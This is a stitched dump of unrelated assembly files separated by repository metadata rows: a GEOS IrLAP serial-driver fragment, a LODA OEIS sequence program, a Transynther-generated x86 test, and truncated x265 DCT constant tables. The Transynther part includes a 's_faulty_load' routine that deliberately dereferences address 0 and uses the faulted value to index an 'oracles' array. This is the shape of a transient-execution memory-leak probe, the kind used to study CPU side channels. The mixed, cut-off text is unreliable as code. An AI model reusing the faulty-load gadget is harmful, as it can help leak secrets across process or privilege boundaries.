; This is done because MSG_META_ATTACH has no way to get params
; (MSG_META_ATTACH is
; the first msg)
;
mov ax, ds ; ax = station segment
mov di, mask MF_FORCE_QUEUE
call ObjMessage
skip:
.leave
ret
IrlapSetupEventThread endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapSetupServerThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup a server thread so that irlap state machine can start
receiving events. If there is already a thread running for
this station, don't create it.
CALLED BY: IrlapInitStation
IrlapEnableReceiver
PASS: ds = IrlapStation
es = dgroup
RETURN: carry set if error
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Create a thread that runs server loop in IrlapResidentCode
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 8/ 2/94 Initial version
jwu 12/13/94 Added serial lurker changes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapSetupServerThread proc far
uses ax,bx,cx,dx,bp
.enter
;
; Check if there is already a server thread running, if so skip
; creating the thread
;
tst_clc ds:[IS_serverThreadHandle]
jnz exit
and ds:[IS_status], not mask ISS_GOING_AWAY
;
; Open serial connection
;
mov ax, mask SOF_TIMEOUT
mov bx, ds:[IS_serialPort]
mov cx, IRLAP_INPUT_BUFFER_SIZE
mov dx, IRLAP_OUTPUT_BUFFER_SIZE
mov bp, IRLAP_SERIAL_OPEN_TIMEOUT
mov di, DR_SERIAL_OPEN_FOR_DRIVER
mov si, handle 0
call es:[serialStrategy]
jc openFailed
;
; setup the recv thread of the station
;
mov al, PRIORITY_TIME_CRITICAL
mov di, IRLAP_RECV_STACK_SIZE
movfptr cxdx, IrlapRecvLoop
mov bx, ds ; pass this to cx of RecvLoop
mov bp, handle 0 ; owner = IRLAP
call ThreadCreate ; -> bx = thread handle, cx = 0
EC < ERROR_C IRLAP_UNABLE_TO_CREATE_THREAD >
mov ds:[IS_serverThreadHandle], bx
clc
exit:
.leave
ret
openFailed:
;
; Notify lurker that port was preempted by another geode, if
; lurker loaded this driver.
;
clr dl
xchg dl, es:[lurkerUsed]
tst_clc dl
je done
mov dx, GWNT_LOST_SERIAL_CONNECTION
call IrlapNotifyLurker
done:
stc
jmp exit
IrlapSetupServerThread endp
; ****************************************************************************
; ****************************************************************************
; *********************** EXIT ROUTINES ***************************
; ****************************************************************************
; ****************************************************************************
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapCleanupServerThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Kills the server thread
CALLED BY: IrlapNativeUnregister
PASS: ds = station
es = dgroup
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 8/ 8/94 Initial version
jwu 12/13/94 Added serial lurker changes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapCleanupServerThread proc near
uses ax,bx,cx,dx,di
.enter
;
; Set goingAway flag
;
BitSet ds:IS_status, ISS_GOING_AWAY
;
; Wait untile server thread is done using serial driver.
; or give enough time for the flag to be read by server thread
;
mov bx, ds:IS_serialSem
mov cx, IRLAP_SERIAL_SEM_TIMEOUT
call ThreadPTimedSem ; ax destroyed
call ThreadVSem
;
; Close the port so that any threads blocking on it will exit
;
clr bx
xchg bx, ds:IS_serialPort
mov ax, STREAM_DISCARD
mov di, DR_STREAM_CLOSE
call es:serialStrategy
;
; Return port to serial lurker, if necessary.
;
clr dl
xchg dl, es:lurkerUsed
tst dl
je exit
mov dx, GWNT_END_SERIAL_CONNECTION
call IrlapNotifyLurker
exit:
.leave
ret
IrlapCleanupServerThread endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapCleanupEventThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Kills the thread that runs event loop
CALLED BY: IrlapSocketUnregister
PASS: ds = station
es = dgroup
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 8/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapCleanupEventThread proc near
uses ax,bx,cx,dx,si,di,bp,ds
.enter
;
; Set disconnected state, as we're a goner
;
ChangeState NDM, ds
;
; Send dummy event to flush pending real events
;
mov bx, ds:IS_eventThreadHandle
mov ax, (ILE_CONTROL shl 8) or IDC_CHECK_STORED_EVENTS
mov di, mask MF_FORCE_QUEUE
call ObjMessage
;
; Send a MSG_META_DETACH to event thread
;
clr bx
xchg bx, ds:IS_eventThreadHandle
mov ah, ILE_CONTROL
mov al, IDC_DETACH
mov di, mask MF_FORCE_QUEUE
call ObjMessage
;
; Stop all the timers so that the kernel doesn't send message to a
; dead thread
;
movdw axbx, ds:IS_pTimer
call TimerStop
movdw axbx, ds:IS_fTimer
call TimerStop
.leave
ret
IrlapCleanupEventThread endp
;
; Sniff open utilities
;
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapDisableReceiver
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Closes serial port
CALLED BY: SniffTImerExpiredSNIFF
PASS: ds = station
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 9/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapDisableReceiver proc far
uses ax
.enter
;
; Kill server thread
;
GetDgroup es, ax
call IrlapCleanupServerThread
.leave
ret
IrlapDisableReceiver endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapEnableReceiver
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open serial port
Start server thread
CALLED BY: IDCAbortSniff
SleepTimerExpiredSLEEP
PASS: ds = station segment
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Open serial port
Setup server thread accroding to the configuration of
the station
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 9/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapEnableReceiver proc far
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Setup server thread
;
GetDgroup es, ax
call IrlapSetupServerThread
call ApplyConnectionParameters
.leave
ret
IrlapEnableReceiver endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapNotifyLurker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the serial lurker a notification about the port.
CALLED BY: IrlapSetupServerThread
IrlapCleanupServerThread
PASS: dx = GWNT_END_SERIAL_CONNECTION or
GWNT_LOST_SERIAL_CONNECTION
es = dgroup
ds = station
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 12/13/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapNotifyLurker proc near
uses ax,bx,cx,dx,si,di,bp
.enter
clrdw bxsi ; no optr
mov cx, MANUFACTURER_ID_GEOWORKS
mov bp, ds:[IS_serialPort]
mov ax, MSG_META_NOTIFY
mov di, mask MF_RECORD
call ObjMessage ; di = event handle
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_NOTIFY_SERIAL_LURKER
mov cx, di ; cx = event handle
clr dx, bp ; no data nor flags
call GCNListSend
.leave
ret
IrlapNotifyLurker endp
IrlapCommonCode ends
| 24.570726 | 79 | 0.56693 |
24ae6d2a4a82db1151108efd9acfceefc4c15621 | 766 | asm | Assembly | programs/oeis/214/A214861.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/214/A214861.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/214/A214861.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A214861: First differences of round(n*sqrt(5)) (A022848).
; 2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3
mov $12,$0
mov $14,2
lpb $14
clr $0,12
mov $0,$12
sub $14,1
add $0,$14
sub $0,1
mov $6,$0
mov $9,$0
add $0,3
add $4,$6
add $0,$4
sub $4,2
add $7,7
lpb $0
mul $0,11
sub $4,4
sub $4,$0
sub $0,$4
div $0,$4
pow $0,2
sub $0,1
div $0,2
add $4,1
mov $7,-89
mov $8,$4
sub $8,13
lpe
mov $3,$8
div $3,$7
mov $1,$3
add $1,1
add $1,$9
mov $15,$14
lpb $15
mov $13,$1
sub $15,1
lpe
lpe
lpb $12
mov $12,0
sub $13,$1
lpe
mov $1,$13
add $1,1
| 15.32 | 175 | 0.479112 |
2ebb313da993e1cc19dd45238ffd5d1e401369f3 | 8,020 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_1884.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_1884.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_1884.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xd0e7, %r8
nop
and %r12, %r12
movl $0x61626364, (%r8)
nop
add $37006, %r9
lea addresses_normal_ht+0x1ce27, %rdx
nop
nop
nop
and $29809, %rbp
mov (%rdx), %rdi
nop
nop
nop
nop
nop
add $14076, %rbp
lea addresses_D_ht+0xdc1f, %rsi
lea addresses_normal_ht+0x15ae7, %rdi
nop
nop
nop
and %r12, %r12
mov $23, %rcx
rep movsq
nop
nop
add %r8, %r8
lea addresses_WT_ht+0x145e7, %rbp
nop
nop
nop
nop
cmp %rdi, %rdi
vmovups (%rbp), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r12
nop
nop
nop
cmp $33020, %rdi
lea addresses_A_ht+0x1581f, %rsi
lea addresses_D_ht+0x184e7, %rdi
nop
nop
nop
nop
add %r9, %r9
mov $83, %rcx
rep movsq
dec %rcx
lea addresses_A_ht+0x1e2a7, %rsi
lea addresses_WC_ht+0x10e27, %rdi
nop
add $22092, %r8
mov $112, %rcx
rep movsw
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x5299, %rdi
nop
xor %rsi, %rsi
mov (%rdi), %edx
nop
nop
nop
nop
nop
and $53099, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r9
push %rbx
push %rcx
push %rsi
// Load
lea addresses_D+0x191e7, %rsi
and $5744, %rcx
mov (%rsi), %r12d
xor %rbx, %rbx
// Load
lea addresses_RW+0x1aa47, %rsi
nop
nop
nop
xor %r14, %r14
movups (%rsi), %xmm3
vpextrq $1, %xmm3, %r11
// Exception!!!
nop
nop
mov (0), %rsi
nop
nop
nop
add %r11, %r11
// Store
lea addresses_D+0x191e7, %rsi
nop
nop
nop
nop
add %r14, %r14
movw $0x5152, (%rsi)
and $25218, %rcx
// Store
lea addresses_RW+0x10de7, %rsi
nop
nop
nop
add %r14, %r14
movb $0x51, (%rsi)
sub %r9, %r9
// Store
lea addresses_D+0x191e7, %r14
nop
nop
cmp %rcx, %rcx
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r14)
dec %r11
// Store
lea addresses_US+0x1922f, %r11
clflush (%r11)
nop
nop
nop
nop
nop
xor $43428, %r14
movl $0x51525354, (%r11)
nop
sub $32798, %r9
// Load
lea addresses_normal+0x86fa, %r14
xor %r12, %r12
vmovntdqa (%r14), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rsi
nop
nop
nop
nop
nop
xor $35216, %r12
// Store
mov $0xfea780000000547, %r11
nop
nop
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %r14
movq %r14, (%r11)
nop
add $26485, %r9
// Store
lea addresses_D+0x191e7, %r14
clflush (%r14)
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, (%r14)
xor %rbx, %rbx
// Faulty Load
lea addresses_D+0x191e7, %r14
cmp $6752, %rcx
mov (%r14), %r12d
lea oracles, %rbx
and $0xff, %r12
shlq $12, %r12
mov (%rbx,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.33871 | 2,999 | 0.649751 |
b044f27dce387bd025e90b3b3e2f978f2026ee09 | 433 | asm | Assembly | examples/demo-grammar/tinyc/src/samples/sample_2_arithmetic.asm | fossabot/FlyLab | 78b53f03c92d7360bca882aa41be2ca0862b51a3 | [
"MIT"
] | null | null | null | examples/demo-grammar/tinyc/src/samples/sample_2_arithmetic.asm | fossabot/FlyLab | 78b53f03c92d7360bca882aa41be2ca0862b51a3 | [
"MIT"
] | null | null | null | examples/demo-grammar/tinyc/src/samples/sample_2_arithmetic.asm | fossabot/FlyLab | 78b53f03c92d7360bca882aa41be2ca0862b51a3 | [
"MIT"
] | null | null | null | FUNC @main:
var x, y, z
push 1
pop x
push 2
pop y
push x
push y
add
pop z
push x
push y
push z
print "x = %d, y = %d, z = %d"
push x
push y
add
print "x + y = %d"
push x
push y
sub
print "x - y = %d"
push x
push y
mul
print "x * y = %d"
push x
push y
div
print "x / y = %d"
push x
push y
mod
print "x %% y = %d"
push x
neg
push y
neg
print "-x = %d, -y = %d"
push 0
ret ~
ENDFUNC
| 7.732143 | 31 | 0.508083 |
1275bcde308371fe439e70c6ea13eb38bfbc65f4 | 671 | asm | Assembly | programs/oeis/301/A301697.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/301/A301697.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/301/A301697.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A301697: Coordination sequence for node of type V2 in "krj" 2-D tiling (or net).
; 1,5,10,16,22,27,32,37,42,48,54,59,64,69,74,80,86,91,96,101,106,112,118,123,128,133,138,144,150,155,160,165,170,176,182,187,192,197,202,208,214,219,224,229,234,240,246,251,256,261,266,272,278,283,288,293,298,304,310,315,320,325,330,336,342,347,352,357,362,368,374,379,384,389,394,400,406,411,416,421,426,432,438,443,448,453,458,464,470,475,480,485,490,496,502,507,512,517,522,528
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,301698 ; Partial sums of A301697.
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
| 31.952381 | 380 | 0.66468 |
b05d4e181bb398fe73edd11b06d68a4889949549 | 122,396 | asm | Assembly | x265/source/common/x86/dct8.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | null | null | null | x265/source/common/x86/dct8.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | null | null | null | x265/source/common/x86/dct8.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | 1 | 2021-04-15T18:27:37.000Z | 2021-04-15T18:27:37.000Z | ;*****************************************************************************
;* Copyright (C) 2013-2017 MulticoreWare, Inc
;*
;* Authors: Nabajit Deka <nabajit@multicorewareinc.com>
;* Min Chen <chenm003@163.com> <min.chen@multicorewareinc.com>
;* Li Cao <li@multicorewareinc.com>
;* Praveen Kumar Tiwari <Praveen@multicorewareinc.com>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at license @ x265.com.
;*****************************************************************************/
;TO-DO : Further optimize the routines.
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA 32
tab_dct8: dw 64, 64, 64, 64, 64, 64, 64, 64
dw 89, 75, 50, 18, -18, -50, -75, -89
dw 83, 36, -36, -83, -83, -36, 36, 83
dw 75, -18, -89, -50, 50, 89, 18, -75
dw 64, -64, -64, 64, 64, -64, -64, 64
dw 50, -89, 18, 75, -75, -18, 89, -50
dw 36, -83, 83, -36, -36, 83, -83, 36
dw 18, -50, 75, -89, 89, -75, 50, -18
dct8_shuf: times 2 db 6, 7, 4, 5, 2, 3, 0, 1, 14, 15, 12, 13, 10, 11, 8, 9
tab_dct16_1: dw 64, 64, 64, 64, 64, 64, 64, 64
dw 90, 87, 80, 70, 57, 43, 25, 9
dw 89, 75, 50, 18, -18, -50, -75, -89
dw 87, 57, 9, -43, -80, -90, -70, -25
dw 83, 36, -36, -83, -83, -36, 36, 83
dw 80, 9, -70, -87, -25, 57, 90, 43
dw 75, -18, -89, -50, 50, 89, 18, -75
dw 70, -43, -87, 9, 90, 25, -80, -57
dw 64, -64, -64, 64, 64, -64, -64, 64
dw 57, -80, -25, 90, -9, -87, 43, 70
dw 50, -89, 18, 75, -75, -18, 89, -50
dw 43, -90, 57, 25, -87, 70, 9, -80
dw 36, -83, 83, -36, -36, 83, -83, 36
dw 25, -70, 90, -80, 43, 9, -57, 87
dw 18, -50, 75, -89, 89, -75, 50, -18
dw 9, -25, 43, -57, 70, -80, 87, -90
tab_dct16_2: dw 64, 64, 64, 64, 64, 64, 64, 64
dw -9, -25, -43, -57, -70, -80, -87, -90
dw -89, -75, -50, -18, 18, 50, 75, 89
dw 25, 70, 90, 80, 43, -9, -57, -87
dw 83, 36, -36, -83, -83, -36, 36, 83
dw -43, -90, -57, 25, 87, 70, -9, -80
dw -75, 18, 89, 50, -50, -89, -18, 75
dw 57, 80, -25, -90, -9, 87, 43, -70
dw 64, -64, -64, 64, 64, -64, -64, 64
dw -70, -43, 87, 9, -90, 25, 80, -57
dw -50, 89, -18, -75, 75, 18, -89, 50
dw 80, -9, -70, 87, -25, -57, 90, -43
dw 36, -83, 83, -36, -36, 83, -83, 36
dw -87, 57, -9, -43, 80, -90, 70, -25
dw -18, 50, -75, 89, -89, 75, -50, 18
dw 90, -87, 80, -70, 57, -43, 25, -9
dct16_shuf1: times 2 db 14, 15, 12, 13, 10, 11, 8, 9, 6, 7, 4, 5, 2, 3, 0, 1
dct16_shuf2: times 2 db 0, 1, 14, 15, 2, 3, 12, 13, 4, 5, 10, 11, 6, 7, 8, 9
tab_dct32_1: dw 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
dw 90, 90, 88, 85, 82, 78, 73, 67, 61, 54, 46, 38, 31, 22, 13, 4
dw 90, 87, 80, 70, 57, 43, 25, 9, -9, -25, -43, -57, -70, -80, -87, -90
dw 90, 82, 67, 46, 22, -4, -31, -54, -73, -85, -90, -88, -78, -61, -38, -13
dw 89, 75, 50, 18, -18, -50, -75, -89, -89, -75, -50, -18, 18, 50, 75, 89
dw 88, 67, 31, -13, -54, -82, -90, -78, -46, -4, 38, 73, 90, 85, 61, 22
dw 87, 57, 9, -43, -80, -90, -70, -25, 25, 70, 90, 80, 43, -9, -57, -87
dw 85, 46, -13, -67, -90, -73, -22, 38, 82, 88, 54, -4, -61, -90, -78, -31
dw 83, 36, -36, -83, -83, -36, 36, 83, 83, 36, -36, -83, -83, -36, 36, 83
dw 82, 22, -54, -90, -61, 13, 78, 85, 31, -46, -90, -67, 4, 73, 88, 38
dw 80, 9, -70, -87, -25, 57, 90, 43, -43, -90, -57, 25, 87, 70, -9, -80
dw 78, -4, -82, -73, 13, 85, 67, -22, -88, -61, 31, 90, 54, -38, -90, -46
